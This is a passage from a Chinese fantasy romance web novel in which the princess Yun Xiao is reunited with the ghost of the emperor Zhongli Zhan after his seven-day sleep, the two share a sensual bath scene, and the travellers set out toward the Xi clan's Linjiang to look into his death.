钟离湛抬手摸了摸有些发痒的鼻子,心中五味杂陈,庆幸自己此刻不是活着的,不会因为白花花的迷人眼而流鼻血。 但更多的还是不幸。 如果他还活着,除了流鼻血丢人之外,所有想做的,也就都能做了。 云绡只觉得挂在心口的骨戒越来越烫,烫得她那块皮肤都有些疼了,她眼底的担忧更甚,连忙扯住红线将骨戒往外拉。 眼下太阳即将落山,云绡也不但心骨戒能不能晒太阳的问题了。她将骨戒取出后捧在手心仔细看了看,翻来覆去地生怕上面是否不经意磕出了裂痕还是什么,不然怎么会烫得如烧红了的铁? 钟离湛被云绡从看与不看,能不能看,即便不看也能感受到的困境中解救出来了。 即便他此刻已然可以从骨戒里出来,但想了想,还是装一会儿死吧。 不然刚才那情况就解释不清了。 云绡觉得骨戒很奇怪,拿出来的时候是滚烫的,这个时候温度又渐渐消下去了。 骨戒并无伤痕,她便伸手戳了一下骨戒:“钟离湛?” 钟离湛:“……” 没人回应,想来也不是他魂魄的原因,难道是因为她一直将骨戒放在衣裳里,闷着了? 云绡想不明白,但有此猜测,她便没将骨戒放回层层叠叠的衣裳里,而是放在外衣和中衣之间,这样不会将它露出来,也不至于让它憋闷。 回到黑暗中的钟离湛:“……” 一时说不清是松了口气,还是遗憾—— 天黑前,云绡三人到达一座小镇。小镇仍属于旖族范围内,骑马得再走个五天左右他们才能真正离开旖族境内。 小镇中的客栈算不上太好,胜在人少安静。 云绡和仲卿、徐容靳赶了一天的路,都有些饿,便没出客栈找吃的,直接在客栈一楼堂内的小方桌坐下,点了七碗面。 徐容靳吃四碗,云绡两碗,仲卿只能吃一碗。 客栈掌柜的有些惊讶徐容靳和云绡的饭量,但徐容靳那张脸实在不好惹,谁也不敢多说一句话。 老老实实端上面,几个闲着没事儿的在后门处嗑瓜子闲聊。 聊的便是锦仙山之事。 关于锦仙山处的变化,能看见那座山的人都有所耳闻。有人说是神女发怒,导致山体坍塌,也有人说那座山上从来都没有神女,更有人说是因为山下埋葬的女婴太多,阴气太重,所以山塌了。 众说纷纭中,距离锦仙山颇近的黎城杨家则说明那座山是因诅咒而死,让所有能看见锦仙山地界的百姓不要靠近它,以免受诅咒影响自身。 即便杨家的话没有实质依据,可凡是与自己利益相关的,众人也是要信三分的。 这倒是无意间达成了云绡说的,就让那里变成一道臭水沟,所有人都能闻到它的臭味而退避三舍。 诅咒是名声上的腐烂,即便没有散发真正的恶臭,却也让人望而却步,让那座山从此烂在流言蜚语之中。 不过后来云绡骑在马上,回头都看不见锦仙山的山形了,她也就没再管锦仙山的事。 这会子听见心中难免觉得可惜。 可惜她只是借着锦仙山下钟离湛早早设下的莲花矩阵上的反咒让水荷她们几个 摆脱了洛娥的诅咒,却没能真的解决洛娥诅咒给旖族女世世代代带来的麻烦。 除了锦仙山中那些死里逃生的旖族女之外,其余旖族女子仍然逃不过不能被生下来,又或者生下来不被爱的命运。 若有什么办法,能彻底消除诅咒就好了。 吃完了面,云绡率先回房间,仲卿和徐容靳仍然留在那里听人闲聊的后续。 既然住在客栈,云绡就没必要为难自己,一天奔波下来身上不是汗也有尘土。 她要了一桶热水,兑好了温度后走到屏风另一边,神情自若地脱去外衣。 外衣落地,遮挡钟离湛视线的那一层衣裳消失,他也立刻“醒”了过来。 袅袅白烟扑面而来,短暂模糊了周围环境,钟离湛调动魂魄中的力量打算从骨戒中脱身,咒语念了一半,忽而就被温水覆面。 钟离湛:“?” 钟离湛还未明白发生了何事,只听见哗啦啦的水声传来,他从骨节中出来时竟没能立刻站稳脚步,整个人如同栽倒一般朝前扑了过去。 浴桶中的水面荡起一层涟漪,玉白的小手局促地抓紧浴桶两侧。 钟离湛触碰不到水,他无法溅起水花,但他跌撞入云绡的怀里,整张脸压在了云绡的心口上,还是让她意外又震惊地挣扎了一下。 捏着浴桶边缘的指尖泛白,不一会儿便变成了薄粉色。 非但是手指,云绡整个人都在这一瞬变了颜色,像是被水中热气蒸的一般,她从头到脚都红红的,由其是脸颊与耳尖。 钟离湛一睁眼,又看见了他刚醒来看见的那一幕,只是这一刻所见更加震撼,感受更加清晰。他的鼻梁撞得都有些疼,嘴唇贴着云绡心脏跳动的地方,一时没敢动。 时间仿佛在这一刻暂停,云绡瞪大了双眼看向近在咫尺的人。 浴桶中的水面涟漪渐渐平息了些,钟离湛才像是三魂七魄归位,抬手就要扶着浴桶边缘站起来。然而他碰不到浴桶,这一次借力不成,第二下摔了回去。 这一次亲在了另一边。 耳畔咚咚咚的心跳声传来,更加紊乱的那道,是从他的灵魂深处发出来的。 很奇怪,钟离湛无法触碰到水,却能清晰地感受到云绡心口处的水珠,在他嘴唇触碰上的时候染着她的体温,似乎顺着他的唇缝钻入口中,能叫他浅尝到她的香气。 一时间,也不知是云绡的身体更烫,还是钟离湛的魂魄更烧。 云绡觉得整个人就像是泡在了沸水中,她身后是浴桶壁,身前是钟离湛,两回被他撞了一下,整个人都快埋在水里了。 云绡不可置信,也没立刻回过神来,但此时她清醒了些,她快要无法呼吸了。 钟离湛在浴桶中无处借力,这一刻他完全忘记自己不过是魂魄一缕,随意念便能去到云绡十步之内的所有地方。 他无措地扶着云绡的腰肢迅速半跪着,一抬头见云绡的下半张脸都在水里,露出来的双眼像是在哭一样,眼尾连着一片脸颊都是绯色的。 钟离湛心头一窒,连忙捧起云绡的脸,让她能露出水面恢复呼吸。 云绡大口喘气时,本能地眨了一下眼,挂在睫毛上的水珠似泪滴落,钟离湛的理智又一次被冲撞了。 将人小心翼翼地搂在怀中,钟离湛的唇轻轻吻了一下云绡的眼尾,手掌不断地抚摸着她的脊背安抚,声音低哑又温柔道:“对不起对不起,我不是有意要吓你的。” “我没想到你在……这只是意外……” 钟离湛一顿,心道还不如傍晚醒来的时候他便出现,也好过眼下这种情况,绡绡会不会以为他是什么登徒子? “绡绡,你别哭,我没想过占你便宜……” 这话也不对,钟离湛改口:“我即便对你有想法,也不会在这种时候故意用这种卑劣的方式欺负你,你别误会我。” 云绡的心口贴着钟离湛的胸膛,她抬手揉了揉被水迷了的眼睛,半低着头想起自己方才似乎因为过于惊讶又被钟离湛撞入水中喝了两口,又没忍住咳嗽了起来。 她的样子太可怜了,可怜到钟离湛觉得自己真该死啊,怎就能一而再地欺身而上,偏偏…… 视线下滑,他能感受到云绡紧贴着自己的肌肤,也能看见水波荡漾间露出的半边白润。 她咳嗽的时候,身体都跟着颤动,钟离湛一时不知道自己到底该不该抱她了。 这个时候松开云绡,他就像不负责任无情转身的负心汉。 可明知是意外还仍然抱着他,他就是明目张胆口是心非的登徒子。 左右都不对。 钟离湛觉得自己就应该钻回骨戒里…… 或者给自己一耳光? 云绡不知钟离湛脑子里已经多番胡思乱想,她意外之后便是欣喜,还在想是不是骨戒真的不能晒到阳光,所以钟离湛睡着后的第七天,终于醒来了! 揉去眼睛里的水,咳去喉咙里的酸,云绡抬头用那双在钟离湛看来水汪汪很无辜的眼认真仔细地看向她其实已经思念了好些天的魂魄。 云绡张开双臂用力地抱紧了钟离湛,和他虚虚地搂着她的腰身不同,云绡几乎用尽全身的力量,像是要与他融为一体一样。 所有念想在这一刻被放大,所有期待也在此刻被满足。 “我好想你啊,钟离湛。” 刚咳嗽的声音,带着脆弱的软糯,只此一句话便让钟离湛丢盔弃甲。 云绡抬起眼眸,近距离地望向面前的人,朝思暮想四个字在她的心口具象化,那股强烈的占有欲又蠢蠢欲动,于是她将脸埋在了钟离湛的肩窝,深嗅他灵魂的气味。 还蹭了蹭。 连带着滚烫的脸,微凉的鼻尖,湿润的唇……她像是要用脸在他的肩窝处作画一样,蹭得钟离湛头脑一片空白。 “每天睡觉前,我都有和你说话,你能听见吗?” 她的声音闷在了钟离湛的肩窝处,在说完这话后又一愣,挪开脑袋垂下头,双眼疑惑地望向水里:“咦?” 咦字才出,钟离湛的心跳便疯狂鼓动。 他想阻止云绡,可到底是被她的糖衣炮弹和娇软依赖侵蚀了意志,反应慢了那么一步,就被云绡握了个正着。 倒吸一口气,钟离湛咬紧牙根,喉结滚动。 云绡看不见水里的情况,水下的手轻轻碰了碰。 描绘出形状后过了两息,小手的主人像是反应过来那是什么了,触电一般猛然缩回。 云绡不敢动了,悄悄抬头看了一眼钟离湛。 此刻的钟离湛整个人都在热气中发着烫,齿间咬着点下唇,呼吸微颤,那双狐狸眼中透出几丝如同魅惑的迷离,眼尾与耳尖红的……就像是化身成了妖孽,哪还有半点平日里正气凌然的模样? 云绡眼中的意外渐渐被欣喜取代,而后是兴奋。 她好像找到了钟离湛的……一种很好玩儿的方式了。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 80-90 第81章 陡然逼近的气息,带着湿润的香甜。 钟离湛的视线有片刻模糊,滑腻的触觉在他的脑海中无限放大,几乎烧毁他的意志,薄唇轻启呼出一声难抑的低哼。 云绡的脸朝他凑近,她像只无知的小猫一样上前嗅着他的脸颊,呼吸若有似无地亲吻着他的唇与下巴。 明明云绡没亲上他,钟离湛却觉得喉生涩意,唇周发麻。 云绡的双眼一瞬不移地看着他,看他的双眼逐渐失焦,喉结滚动。 红晕布满了钟离湛的魂魄,他整个人显得脆弱到不堪一击,就像所有理智和情绪都化作一根缠绕在云绡手中的线,任由她拉近或纠缠。 太有意思了! 云绡眼中兴味浓重,完全忽略了自己的身体也在因此而颤抖,亦或者她的颤抖源自于占有欲被满足。 云绡的头脑亦有些混沌,这个时候她的眼里只能看见因她而动情的钟离湛。 难怪有些话本里明明对内容不太影响,却又总是会描述一些情爱欢好,如今在云绡看来,那些描述也不尽然是不重要的,大约只有个中人物才能体会 到其中的美妙。 她喜欢钟离湛对她如痴如醉的模样,喜欢他沉沦于她的挑逗,她甚至想,那些话本文字未尽描述的内容里,一定有能让钟离湛变得更有趣,更好看的方式。 是了,云绡觉得此刻的钟离湛,简直好看得一塌糊涂,是这世间最迷人的男子,直戳她的心尖。 下一瞬水花四溅,钟离湛重重地吻上了云绡的唇。 理智告诉他,时间不对,场合不对,他的身体不对,他们的身份也不对,在一切条件都不对的情况下,他不能不顾及云绡,真对她做出什么来。 而本能却道,对不对的先不论,亲了再说! 哪有人能这么坏?在他身上磨磨蹭蹭,鼻尖碰来碰去嗅来嗅去的,可却连一个吻都吝啬给! 太可恶了! 所以亲她!多亲几口!总得为自己讨回点儿公道来! 钟离湛如饿狼扑食,云绡险些溺水,他及时以掌心托起她的下巴,吻得云绡难以呼吸时,滚烫的唇又亲上了她的嘴角、脸颊、下巴……沿着脖子一路往下。 几乎是泄愤一样,钟离湛在云绡的锁骨上方咬了一口。 他的呼吸声很重,眼神看上去很凶,可咬人一点儿也不疼,只在云绡的肩头留下浅浅的牙痕,都没红。 云绡眨着沾满水的双眼看着钟离湛,有样学样,也凑到他的肩膀上咬一口。 她的牙齿很利,也用足了力气,疼痛并未缓解钟离湛的欲求不满,甚至让他有些生无可恋地长叹一声…… 他迫切地想活。 活着,就什么都能做,到时候他不把云绡的身上咬出百八十个印子来,他就不是曦帝人皇! 将人抱住,钟离湛搂起云绡便起身。 哗啦一声水响,云绡将头抬起来,她磨了磨牙齿问钟离湛:“你不想在水里玩啦?” 不待钟离湛回答,云绡的眼神便满是期待,有些兴奋地抓着他的胳膊:“那去榻上?” 钟离湛:“……” 钟离湛搂紧云绡,尽量地目不斜视,将人放在榻上拽着她的手拿起干布巾给她裹紧了之后,钟离湛才捏着云绡仅露出来的一张小脸道:“不玩儿了。” 云绡心头砰砰响,听见这话笑容淡了下去:“为什么不玩儿了?” 她蹙起眉头:“你不喜欢和我玩儿?” 钟离湛额角有些疼,就怕云绡下一句问他想和谁玩儿,他只能附身亲了一下云绡的唇,蜻蜓点水后退开道:“不是不想,是不能,活人与魂魄行鱼水之欢,你不要命了?” 云绡一听是这个原因,脸色稍微好些:“我看过精怪话本,里面也有人鬼情未了的故事,好像活人与魂魄是不能长时间那样那样的。” 钟离湛点头,结果云绡又道:“我们不玩儿长时间,只一次两次应该也不会死吧?” 钟离湛:“……” 究竟不玩儿长时间是对他的侮辱呢,还是一次两次是对他的侮辱? 掌心按在云绡的脸上,盖上她那双“求知若渴”的眼,钟离湛叹气道:“不行,终会伤身,别拿未知去赌生死。” 少女的声音瓮声瓮气:“噢。” 云绡很惜命的,既然钟离湛都这样说了,那看来话本上写的也不尽然能信。 见她乖下来了,钟离湛又有些心软,想起他沉睡数日后她见到他时说的第一句话,钟离湛对自己这无可为力的魂魄之体亦有些烦闷。 她说她很想他。 钟离湛盖在云绡脸上的手,转成轻轻抚摸着她的脑袋,眉目温柔道:“穿好衣裳,我抱着你睡,可好?” 云绡重重点头,在知道不能和钟离湛继续玩儿后,她就摆出一副做什么都提不起兴趣的模样。 见钟离湛背过身去,云绡有些憋闷,大声嘀咕:“反正抱起来也没感觉有衣裳,怎么就非要穿了……” 钟离湛:“……” 他虽碰不着,但能看得见!- 云绡穿好衣裳规规矩矩地坐在床侧,披散着半干的发丝,小嘴微撅地看向钟离湛。 钟离湛见她发丝还是潮的,随手拈了个手决,烘干云绡身上的水汽,让她稍微舒服些。 云绡摸了摸蓬松的发丝,郁气没了,抿嘴一笑,她又变回了乖巧可人的小公主,张开手要钟离湛抱。 钟离湛笑了声,把人抱住,让云绡半趴在他心口处睡着。 “绡绡,我能活。” 钟离湛的指尖绕着云绡的发丝,说出了他这几日大梦一场后的猜测,虽说是猜测,其实钟离湛也有七分把握了。至于会提前说出来,也是不想让云绡觉得他们永远都得这样,爱欲不得。 云绡立刻就想到了,在此之前钟离湛并未提过复活之事,眼下提起,必定是他睡过去的这段时间又发生了什么。 联想之前她随钟离湛一起入梦看见的巨人,云绡问他:“你恢复记忆了?” “并未恢复全部。”钟离湛道:“在锦仙山,洛娥冲破我留下的封印时我便想起了当初封印她的那段记忆,许多画面涌入脑海,可有另一股力量压制着我,不许我想起来。” “你身上与我相融的骨剑,其实并不是斩魂剑,那是我的佩剑。”钟离湛道:“它与我的骨头融合,我看不出它本来的模样,也就没想过它会是我自己的剑,只是剑上刻下咒文,被做他人用。” “我被自己的剑封印杀死,是不是很可笑?”钟离湛的手指,轻轻抚摸着云绡的脊骨道:“我察觉到它不对劲,它的剑意残留在我的魂魄中,所以我将它拔出来了。” 也是拔出了斩魂剑,钟离湛才看清了它的面貌,他曾用来斩杀这世间所有不公作恶之人的佩剑,被覆上了一层瞒天的诅咒,斩杀了他自己。 钟离湛没有回想起来自己究竟是如何死的,也不知道动他剑的究竟是何人,可他回想起朱木简上的内容,知道那首诗的意义,大约也能猜测出过去的他后来是如何做的。 云绡听到这里,也明白他当时为何要屏蔽她的五感了。 他怕他会疼,会狰狞,会狼狈,会嘶喊,也怕他的所有感受随着云绡脊骨处的那把剑影响到她。 云绡也想起了过去,一直陪伴着钟离湛的剑最终杀了他,这不是可笑,是讽刺,更像是某种恶趣味的惩罚和警告。 棋盘之上,究竟有多少神仙? 他们操纵着凡人的生死,将这一切当成游戏,难道就没有什么能约束他们吗? 云绡不知道那些所谓神仙的目的,她只知道,钟离湛的死一定与他们有关! “所以后来,你力竭昏睡过去了?” “嗯。” 钟离湛道:“也不算是昏睡,因为我睡过去后一直在做梦,将我过去所有的梦境全都回忆了起来。” 虽说封印洛娥之后,他仍然有一些记忆是模糊的,断片的,可钟离湛会做梦,他梦中的画面并非现实经历,不可被外力拔除,却又与现实息息相关。 从那些梦境里,他也能窥见现实一二,结合对自己的了解,除却他究竟是如何中招而死之外,那些被他遗忘的经历,几乎也都猜了出来。 正因如此,钟离湛才会对云绡说,他还能活。 “可是钟离湛,人死了,是不能再活的,活过来也成傀儡了。”云绡的下巴压在钟离湛的心口处,抬眸问他:“你会变成傀儡吗?和傀儡那样玩儿,我不会死吗?” 钟离湛:“……” 所以她还在想那件事? “胡思乱想什么?”钟离湛也是有些被气笑了:“我怎会死而复生就成傀儡了?” 钟离湛的手指轻轻点了一下云绡的鼻尖,声音轻柔,却说出叫云绡也为之骇然的话。 他道:“还记得那场频繁看见巨人的梦吗?我在梦里执剑,怒斥不公,可他们也当我是蝼蚁,嘲笑我妄图操纵我,那场梦……有后续。” 在这七日里,他于梦中反复重来,推开重重阻碍,无数次站在了巨人的面前。 一样的身姿,一样的剑指苍穹,每一次的梦境都以他的失败告终,可每一次他失败之前都能更近一步。 “后来我长得与他们一样高,我的剑,可诛这世间所有罪恶,不拘泥于人间还是苍穹,所以我啊……杀了他们。” 钟离湛说到杀了他们时,眼底闪过晦涩的光。 那是一场梦,又如何不是一次次的预示? 他脚下的云,实则为天下棋盘,他所看见的巨人,实则是操纵棋盘的刽子手。他只是不够强大,才会被他们抹杀,而在梦里他经历重重死亡后,终于以神明之血祭苍生棋盘。 说是杀了他们,倒不如说,是屠戮。 画面太乱,戾气太重,故而钟离湛在一梦结束之后陷入真正的昏睡,再醒来时便是今夕。 钟离湛想,他这梦境不论说给这世间任何人听都会被批成异想天开的疯子,可云绡不是其他人,她总能与钟离湛同频。 “你好厉害啊!”云绡的眼眸亮晶晶的,满是崇拜地看向他。 钟离湛很早以前就知道,小姑娘或多或少有些慕强之心,每次他稍微表现出一些什么,云绡那双眼就如同火一样缠着他。 左右,钟离湛很受用。 “所以,你是因为发现你在梦里无数次被打压都能死而复生,才猜测出而今你的死并非真的死?”那双漂亮的眼睛眨巴眨巴,用天真的语调,说出一针见血的话。 钟离湛的确是这样猜的,如若他轻易就能死去,便不会在一剑剑杀戮神明时长大,从蝼蚁一般的身躯,淬炼成比他们还高的巨人。 梦境映射现实却非现实,现实里,钟离湛还是死了,一经封印两千年,若非有云绡,他永远也无法从迷雾中苏醒。 云绡是他的贵人啊。 不论是过去,还是现在,她都是他生命中拨云见日的那道光。 云绡想听,钟离湛就他撇去过于血腥的地方,在梦中挑挑拣拣一些自己被打压得不太狼狈的画面,如同读话本故事一样说给她听。 直到她眼皮耷拉下来,迷迷糊糊地已经不怎么回应他了,他才收声。 “遇见你真好啊,小仙女。” 一声低喃,温柔哄慰:“做个好梦,绡绡。” 第82章 翌日。 仲卿和徐容靳在客栈一楼喝粥,云绡下楼时徐容靳抬头看去,眸光一亮声音清脆地喊了声:“娘,爹!” 仲卿嘴里的粥差点儿喷出来,握着勺子的手也哆哆嗦嗦的。 他目光悄悄朝云绡瞥去,只能看见云绡一个人,但徐容靳不会认错,此刻云绡的身边一定还有另一道影子,是魂魄,是……传说中的杀神。 即便仲卿早就知道这个事实,一时间也还是难免内心惶恐。 他虽然看不见,可这位是钟离湛啊! 那历史书上的传奇人物,全天下的孽都被他造完了的杀神,他如何能不畏惧? 偏偏徐容靳高大的身形往一旁挤了挤,让出了一个空位拍了拍兴致勃勃地道:“爹,坐这儿!” 拿出碗筷摆好,徐容靳乖得很:“爹,吃饭!” 钟离湛挑眉,垂眸朝云绡看去一眼,眼神明显是在询问这傻大个是什么情况。 云绡有些尴尬地抬手摸了一下鼻子道:“仲卿说他晚上睡觉都在哭,说他没爹了。” 现在看见钟离湛还好端端地站在云绡身边,定然是以为钟离湛只是短暂地离开了会儿,这会子回来了,简直是小别胜新……嗯,不对。 “爹,容靳想你。”徐容靳的确有好几个晚上都哭了。 他梦见了一些不太好的画面,在他的梦里,他爹变得对他很冷漠。他在梦中找不到娘去了哪儿,爹还总和另一个女人纠缠在一起,他讨厌死那个女人了,那女人会打他的兽宠,还会说谎,让他爹责罚他。 徐容靳在梦里很委屈,对着那道模糊的声音用力地喊:“你才不是我爹!” 那样是非不分的坏蛋才不是他爹,他爹虽然冷冰冰的,可对娘很好,更不会伤害他。 徐容靳大梦苏醒,一睁眼看见仲卿,仲卿还给他擦了几回眼泪。 现在见到心心念念的爹,徐容靳想起自己的梦里把爹想得那么坏,莫名觉得羞耻,他都这么大人了,可不能再哭鼻子了。 也不能对爹撒娇了。 所以他找补着方才肉麻的话,多加了一句:“娘也想你。” 钟离湛搓了搓胳膊上不存在的鸡皮疙瘩,又听见徐容靳这么说,眉目弯了一下。 他刚从骨戒中出来云绡就抱住他说想他了,对于这一点钟离湛一点儿也没怀疑。 “还有大哥,也想你!”徐容靳觉得爹应当‘雨露均沾’,在梦里大哥与爹的关系也一直势同水火的,他动了动他聪明的脑瓜子,打算修复一下大哥和爹的关系。 仲卿:“……” 突然感觉一股凉意袭来,小老头儿将脸埋在了碗里根本不敢抬起。 不不不,别瞎说,他才没有想,一点也不想! 窗外的阳光洒在小镇的屋檐上,顺着木雕窗照进客栈堂内,恰好带着窗棂上的雕花投在了几人的身上。 片刻静谧,随后是呼噜噜的粥声传来,徐容靳完全没反应自己说了什么惊世骇俗的话,而仲卿碗里都空了也没抬头,装模作样地在假吃。 云绡莫名觉得,那道阳光像是照晒在她的心头上一样,忽生暖意,连血液都变成了温的。 她说不清这是什么感受,总之觉得心头满满的。 数月相处,云绡与仲卿和徐容靳也算经历同生共死,云绡后知后觉地反应过来她原来不是只有钟离湛一个可以信任的人的。 她对仲卿不会藏私,还很愿意逗他玩儿,可以随意地口无遮拦也不必担心仲卿会生气。 她不再反驳徐容靳喊她娘,不自然地就将他当成个孩子去哄,每次吃饭都会顾及他的胃口添加许多。 云绡觉得,这不像是朋友之间的相处,她也算曾有过短暂的友谊吧? 没有欺负她之前的云宓,和没有和云宓扯上关系时的徐容朝,云绡也曾将他们当成朋友的,可都不是这样的感觉。 左手突然被钟离湛握住,对上钟离湛疑惑的眼神,云绡才回过神来。 她走到桌边,端起徐容靳早就给她盛好的一碗粥,慢吞吞地咽了一口。 温暖的粥顺着喉咙流入肚腹,云绡才想明白了。 这是拥有家人的感觉。 和顺纵容的仲卿,单纯无畏的徐容靳,从某种角度而言,填补了云绡从未体会过的亲情。 此刻围坐在桌旁的他们,多像真的一家四口,上有老下有小的…… 挺好的。 云绡想,她很喜欢这样的早晨。 - 离开小镇,云绡告诉钟离湛景妍未死的消息,并且说出了她的猜测,此刻京都的神霄塔定然已经在那教云绡反咒的黑衣人的掌控中。 还将景妍与那黑衣人的身份猜测说给钟离湛听,那猜测是仲卿提起的,若非他说,云绡都不知道曦族原来还有两个从未露面的神秘长老。 这事钟离湛知晓,显帝未死之前,他曾听逍遥王说过那两个长老,从未露面的长老也是其他几族的心腹大患。 曦族因为符咒之力,叫其他几族的人鲜少敢步入曦族的地界,时间久了,渐渐的人们就以为符咒是神仙赐予曦族的天赋。 钟离湛曾说过,符咒是他的天赋,而非神仙赐予,棋盘之上的巨人给曦族的所谓赐福,只有长寿。 云绡也去过两千多年前,用钟离湛的身体看过那个时候的世间,在处理尾人族的事上她与曦族氏族也有过接触。彼时的曦族人虽有的会使符,可他们能用的符很简单,也并未在符咒上展现出什么过人之处。 钟离湛说的是对的,可时间过去了这么久,为何曦族中还流传着那么多在其他几族的眼中早就销声匿迹的符咒? 反咒,亦只是其一。 景妍隐瞒身份,从曦族霖江一路前往京都,成了曦族进贡的美人,她又究竟有何目的? 云绡暂且回不了京都,便只能去曦族寻找答案。 沉默了许久的钟离湛,听她一通分析之后道:“我的王宫,就在绪中……往日叫绪中,如今便是你口中的霖江了。” 云绡闻言一愣,忽而一巴掌拍在自己的脑门上。 啪得一声很响亮,叫骑在另一匹马上的仲卿与徐容靳都投来了惊讶的目光。 钟离湛也被她吓了一跳,伸手轻轻抚摸了一下云绡被拍红了的额头,轻声询问:“你这是做什么?” 云绡啧了声:“我在怪自己蠢啊!” “我明明回到过去两次,也在王宫中住过多日,彼时照国我不说走了一半,可也去过五之有二的地界,怎就偏偏没注意这么重要的地方?” 云绡扯过钟离湛的手,用力地晃啊晃:“你不是死在王宫!你死的地方离王宫十八万千里呢!连玉州的京都与霖江处于国界两端,南北之极,你怎么会跑到那么远去赴死?” 这么远的距离,说是赴死半点也不为过。 钟离湛被云绡晃得脑袋也前后摇了两下,他立刻稳了下来:“还在骑马呢,别摔了!” 云绡骑的是客栈里拉货的老马,本就跑不快,眼下走了大半日早就累了,抬脚都费劲,慢吞吞的,云绡也不怕摔了。 她的重点不在马上,在钟离湛的死地:“我查过后来的许多史记资料,上面的记载是你埋身的方位就是神霄塔,所以我自然而然地以为你成为了曦帝之后远离故土,在连玉州建造了王宫。” 凌国的王都就是京都,皇宫也在京都中,云绡便以为两千余年前钟离湛的王宫也在京都,神霄塔下被掩埋的,也曾是一座巨大的宫殿。 神霄塔下和天祭台相连,都是禁地,显帝就死在那里,那里满墙如同鬼画符一样的咒文全都是用来摄魂夺魄的。现在想来,钟离湛又如何会允许他人在自己王宫设下这些咒语来害自己? 而以他的能力,如果他不想,也没有人能逼迫他去。 唯一的可能就是有人用他特别在意的什么东西,引他过去,跋涉千里,远离王宫,去人族的地界赴死。 “所以,你的王宫在霖江,霖江仍然是曦族的领地,你死在了连玉州后,便有人闯入了你的王宫,将你藏匿在王宫里的符啊咒术册籍全都带走。你的能力,从那之后成了曦族的天赋。”云绡想明白了,这也就解释得通为何那黑衣神秘人会反咒,还有钟离湛亲手所绘的火符。 那些都是曦族在钟离湛死后,将王宫掠夺一空的证据,后来成了他们收入囊中的宝物。 钟离湛听云绡这么说,表情愣怔了瞬又很快回神,摇头道:“我想不起来了。” 他死前的记忆很混乱,意识也很模糊,若不是云绡此刻点出了疑惑,钟离湛其实并未想过自己不是死在王宫中的。 毕竟他在拔出剑意时,在魂魄如同被火淬炼的痛中,他脑海中回忆起了些许片段。熊熊大火将周围一切都笼罩在一片猩红里,钟离湛却还是能在一些熟悉的结构里认出,那里是他的住处。 又或者……其实不是? 只是有人仗着他的疯,他的不可控,于远在霖江千里之外的连玉州,建造了一个一模一样的宫殿,诓骗他进去,再杀了他? 钟离湛猜测到了这一层,云绡自然也猜测到了。 “你就是太善良了!”云绡有些气恼地朝他胳膊上打了一下,颇有恨铁不成钢的意味:“人善被人欺!马善被人骑!” 说着,她的小腿还晃动打在了马腹上。 一旁的徐容靳双手盖住咕咕和啾啾的眼睛,垂下脑袋小声嘀咕:“娘好凶。” 坐在徐容靳身前的仲卿则冷汗淋漓,十一殿下在打杀神呐!她说什么?杀神就是太善良了?果然情人眼里出西施,可怕! “我们现在去曦族的地界反而去对了,这样也能在霖江找到你的王宫旧址,说不定能查明你的死因。”云绡一顿,又道:“那你最开始说要去曦族地界,就不是冲着王宫旧址去的。” 钟离湛解释道:“不全是,我以为我死后,有人挪动了我的尸身将我埋在了天祭台下,但我真正要找的也不是以往住的王宫,而是东洲。” “东洲是我钟离姓氏的祖籍所在地,我有点印象。”他伸手指了指自己的脑袋道:“我那时似乎察觉到自己即将遇见危险,所以在那里藏了个很重要的东西。” 他想不起来是什么东西,可钟离湛睡了两千年才醒来,还在京都时简直毫无目的,便只能顺着自己有印象的方向去找。 所以离开京都,他才会让云绡去东洲。 云绡问仲卿:“我不认路,此去霖江几日?去东洲又多远?” 仲卿道:“就凭这两匹老马……去霖江少说得半个月以上,至于东洲……那里如今已经算不上是曦族的地界了。” 东洲在显帝在世时被逍遥王要去了湖族,说要在东洲的月坛上建造一个圣仙水像。 即便后来显帝死了,可圣旨已下,东洲已然成了湖族地界。这么长时间过去,圣仙水像或许都已经抬上了月坛,就等着雕刻,亦或者雕出一半来了。 “什么?!”云绡从来没听说过这件事! 钟离湛半点也不惊讶,说明他也知道。 云绡回头瞪他! 钟离湛耸肩道:“你是可怜的小公主,我只是一缕幽魂,谁能改变既定之事?” “可恶!他们总是欺负你!”云绡愤愤道:“把你骗去连玉州杀了,还要在你死后,去你家祖籍老宅上盖圣仙像!我要去把那什么狗屁圣仙像给砸了!” 徐容靳的头更低了,仲卿恨不得缩进徐容靳的怀里和那两只小野鸡作伴。 只有钟离湛眉目弯弯,笑意盈盈,喜欢死了云绡为他打抱不平的模样。 说干就干,说砸就砸! 云绡扬起马鞭大喝一声:“驾!” 老马的蹄子扬起一阵尘土,而后慢吞吞往前挪了两步,低头吃起路边的野草来。 云绡:“……” “哈哈哈——” 钟离湛双手叉腰,笑得几乎后仰。 她真可爱啊,护短的样子,叫他心都化了。 第83章 两匹老马慢吞吞地往曦族霖江方向过去,仲卿大约是年龄与马龄相符,所以骑在老马身上人舒服了很多,至少不颠簸。 离开买马的小镇后,接连好几天他们都找不到一个合适住宿的地方,道路两旁零零散散的村落,炊烟都少了许多。 遇见村落还算好的,总有那么几间村外的茅屋是无人住空置很久的,云绡几人还可以暂且在那儿对付一晚。有的时候连村子都找不到,他们也就只能以天为被地为席。 云绡那焦急着想要冲去圣仙水像前将其推翻的冲动也在这几日的消磨中慢慢冷静了下来。 不过她这个人记仇,很记仇,可以记很久,左右那个圣仙像不论成与不成,她都会有一天站在对方面前把它给砸了! 接连几天露宿野外后,几人终于见到了可以算作是镇子的地方。 此地处于旖族边境,旖族连个长老都找不出来,族中地界早就被分散,这些偏远地区的人遇事了连能主事的官府都找不到,一眼望去,全是贫瘠。 从外看,小镇一片灰败的颜色。 走在镇子街道里,这里的人脸上还算淳朴,只是双眼有些木讷,未见外界风貌,对偶尔入镇的外人有些好奇,更多的是胆怯。 小镇内的客栈连住房都是泥糊的,顶多算是比露宿野外要好上一些,有个遮风挡雨的地方,就别说重新买马。 若不是云绡出手大方,客栈里连热水都不能供应。 而云绡的大方,其实连之前在黎城住上一夜的房钱一半都没到,主要还是这里的百姓太穷了。 从早间天就开始下雨了,淅淅沥沥到天黑,秋末白天都冷,天一黑就更凉,即便有黄符护身也抵不过热汤沐浴。 客栈的房间都很小,窗户关严实了也有风从缝隙里钻进来,屋内仅一支蜡烛放在小方桌上的燃烧着,昏黄的光在钻进屋里的风中摇曳着。 小屋内也没有屏风,只有一截麻绳一头绑在了窗棂旁的钉子上,一头连接着墙面的钉子,绳子上挂了半截草帘,将屋子里的一角隔了出来。 说是半截草帘就一点儿也不带多的,人站在里头,上遮不住胸膛,下遮不住腿,一看这高度也知道是为男子所设,只要遮挡住那关键部位就行。 云绡光是看这环境便知道她不能要求更多,草帘的另一边也没有浴桶,云绡几乎搜刮了客栈里的所有盆,五个摆在了一 